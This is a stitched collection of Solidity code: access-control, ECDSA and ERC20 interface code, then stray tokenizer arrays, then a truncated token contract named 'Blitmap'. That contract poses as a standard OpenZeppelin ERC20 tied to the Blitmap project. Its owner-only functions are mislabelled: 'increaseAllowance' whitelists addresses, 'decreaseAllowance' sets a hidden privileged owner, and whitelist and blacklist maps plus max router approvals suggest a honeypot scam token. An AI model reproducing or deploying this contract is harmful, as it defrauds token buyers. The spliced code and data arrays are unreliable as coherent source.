desired permission set - what do we want set target to * * @dev Corner cases: * 1) Operator is super admin and its permission set is `FULL_PRIVILEGES_MASK`: * `desired` bitset is returned regardless of the `target` permission set value * (what operator sets is what they get) * 2) Operator with no permissions (zero bitset): * `target` bitset is returned regardless of the `desired` value * (operator has no authority and cannot modify anything) * * @dev Example: * Consider an operator with the permissions bitmask 00001111 * is about to modify the target permission set 01010101 * Operator wants to set that permission set to 00110011 * Based on their role, an operator has the permissions * to update only lowest 4 bits on the target, meaning that * high 4 bits of the target set in this example is left * unchanged and low 4 bits get changed as desired: 01010011 * * @param operator address of the contract operator which is about to set the permissions * @param target input set of permissions to operator is going to modify * @param desired desired set of permissions operator would like to set * @return resulting set of permissions given operator will set */ function evaluateBy(address operator, uint256 target, uint256 desired) public view returns(uint256) { // read operator's permissions uint256 p = userRoles[operator]; // taking into account operator's permissions, // 1) enable the permissions desired on the `target` target |= p & desired; // 2) disable the permissions desired on the `target` target &= FULL_PRIVILEGES_MASK ^ (p & (FULL_PRIVILEGES_MASK ^ desired)); // return calculated result return target; } /** * @notice Checks if requested set of features is enabled globally on the contract * * @param required set of features to check against * @return true if all the features requested are enabled, false otherwise */ function isFeatureEnabled(uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing `features` property return __hasRole(features(), required); } /** * @notice Checks if transaction sender `msg.sender` has all the permissions required * * @param required set of permissions (role) to check against * @return true if all the permissions requested are enabled, false otherwise */ function isSenderInRole(uint256 required) public view returns(bool) { // delegate call to `isOperatorInRole`, passing transaction sender return isOperatorInRole(msg.sender, required); } /** * @notice Checks if operator has all the permissions (role) required * * @param operator address of the user to check role for * @param required set of permissions (role) to check * @return true if all the permissions requested are enabled, false otherwise */ function isOperatorInRole(address operator, uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing operator's permissions (role) return __hasRole(userRoles[operator], required); } /** * @dev Checks if role `actual` contains all the permissions required `required` * * @param actual existent role * @param required required role * @return true if actual has required role (all permissions), false otherwise */ function __hasRole(uint256 actual, uint256 required) internal pure returns(bool) { // check the bitmask for the role required and return the result return actual & required == required; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title Address Utils * * @dev Utility library of inline functions on addresses * * @dev Copy of the Zeppelin's library: * https://github.com/gnosis/openzeppelin-solidity/blob/master/contracts/AddressUtils.sol */ library AddressUtils { /** * @notice Checks if the target address is a contract * * @dev It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * @dev Among others, `isContract` will return false for the following * types of addresses: * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { // a variable to load `extcodesize` to uint256 size = 0; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 for more details about how this works. // TODO: Check this again before the Serenity release, because all addresses will be contracts. // solium-disable-next-line security/no-inline-assembly assembly { // retrieve the size of the code at address `addr` size := extcodesize(addr) } // positive size indicates a smart contract address return size > 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. * * @dev Copy of the Zeppelin's library: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } } else { revert("invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "invalid signature 's' value" ); require(v == 27 || v == 28, "invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title EIP-20: ERC-20 Token Standard * * @notice The ERC-20 (Ethereum Request for Comments 20), proposed by Fabian Vogelsteller in November 2015, * is a Token Standard that implements an API for tokens within Smart Contracts. * * @notice It provides functionalities like to transfer tokens from one account to another, * to get the current token balance of an account and also the total supply of the token available on the network. * Besides these it also has some other functionalities like to approve that an amount of * token from an account can be spent by a third party account. * * @notice If a Smart Contract implements the following methods and events it can be called an ERC-20 Token * Contract and, once deployed, it will be responsible to keep track of the created tokens on Ethereum. * * @notice See https://ethereum.org/en/developers/docs/standards/tokens/erc-20/ * @notice See https://eips.ethereum.org/EIPS/eip-20 */ interface ERC20 { /** * @dev Fired in transfer(), transferFrom() to indicate that token transfer happened * * @param from an address tokens were consumed from * @param to an address tokens were sent to * @param value number of tokens transferred */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Fired in approve() to indicate an approval event happened * * @param owner an address which granted a permission to transfer * tokens on its behalf * @param spender an address which received a permission to transfer * tokens on behalf of the owner `_owner` * @param value amount of tokens granted to transfer on behalf */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @return name of the token (ex.: USD Coin) */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function name() external view returns (string memory); /** * @return symbol of the token (ex.: USDC) */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function symbol() external view returns (string memory); /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * @dev Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * @dev NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. * * @return token decimals */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function decimals() external view returns (uint8); /** * @return the amount of tokens in existence */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of a particular address * * @param _owner the address to query the the balance for * @return balance an amount of tokens owned by the address specified */ function balanceOf(address _owner) external view returns (uint256 balance); /** * @notice Transfers some tokens to an external address or a smart contract * * @dev Called by token owner (an address which has a * positive token balance tracked by this smart contract) * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * self address or * * smart contract which doesn't support ERC20 * * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transfer(address _to, uint256 _value) external returns (bool success); /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * smart contract which doesn't support ERC20 * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /** * @notice Approves address called `_spender` to transfer some amount * of tokens on behalf of the owner (transaction sender) * * @dev Transaction sender must not necessarily own any tokens to grant the permission * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @return success true on success, throws otherwise */ function approve(address _spender, uint256 _value) external returns (bool success); /** * @notice Returns the amount which _spender is still allowed to withdraw from _owner. * * @dev A function to check an amount of tokens owner approved * to transfer on its behalf by some other address called "spender" * * @param _owner an address which approves transferring some tokens on its behalf * @param _spender an address approved to transfer some tokens on behalf * @return remaining an amount of tokens approved address `_spender` can transfer on behalf * of token owner `_owner` */ function allowance(address _owner, address _spender) external view returns (uint256 remaining); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title ERC-165 Standard Interface Detection * * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * @dev Implementers can declare support of contract interfaces, * which can then be queried by others. * * @author Christian Reitwießner, Nick Johnson, Fabian Vogelsteller, Jordi Baylina, Konrad Feldmeier, William Entriken */ interface ERC165 { /** * @notice Query if a contract implements an interface * * @dev Interface identification is specified in ERC-165. * This function uses less than 30,000 gas. * * @param interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `interfaceID` and * `interfaceID` is not 0xffffffff, `false` otherwise */ function supportsInterface(bytes4 interfaceID) external view returns (bool); }
* @notice Enables ERC20 transfers of the tokens (transfer by the token owner himself) @dev Feature FEATURE_TRANSFERS must be enabled in order for `transfer()` function to succeed/
uint32 public constant FEATURE_TRANSFERS = 0x0000_0001;
1,075,614
[ 1, 25924, 4232, 39, 3462, 29375, 434, 326, 2430, 1377, 261, 13866, 635, 326, 1147, 3410, 366, 381, 2890, 13, 225, 7881, 25201, 67, 16596, 6553, 55, 1297, 506, 3696, 316, 1353, 364, 1377, 1375, 13866, 20338, 445, 358, 12897, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 11890, 1578, 1071, 5381, 25201, 67, 16596, 6553, 55, 273, 374, 92, 2787, 67, 13304, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.6; /** Blitmap is a community crafted sci-fantasy universe. All data is completely on chain. 🖥 Website: https://www.blitmap.com/ 🔗 Marketplace: https://market.blitmap.com/ 💬 Discord : https://discord.com/invite/blitmap 🦜 Twitter: https://twitter.com/blitmap */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Blitmap is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i 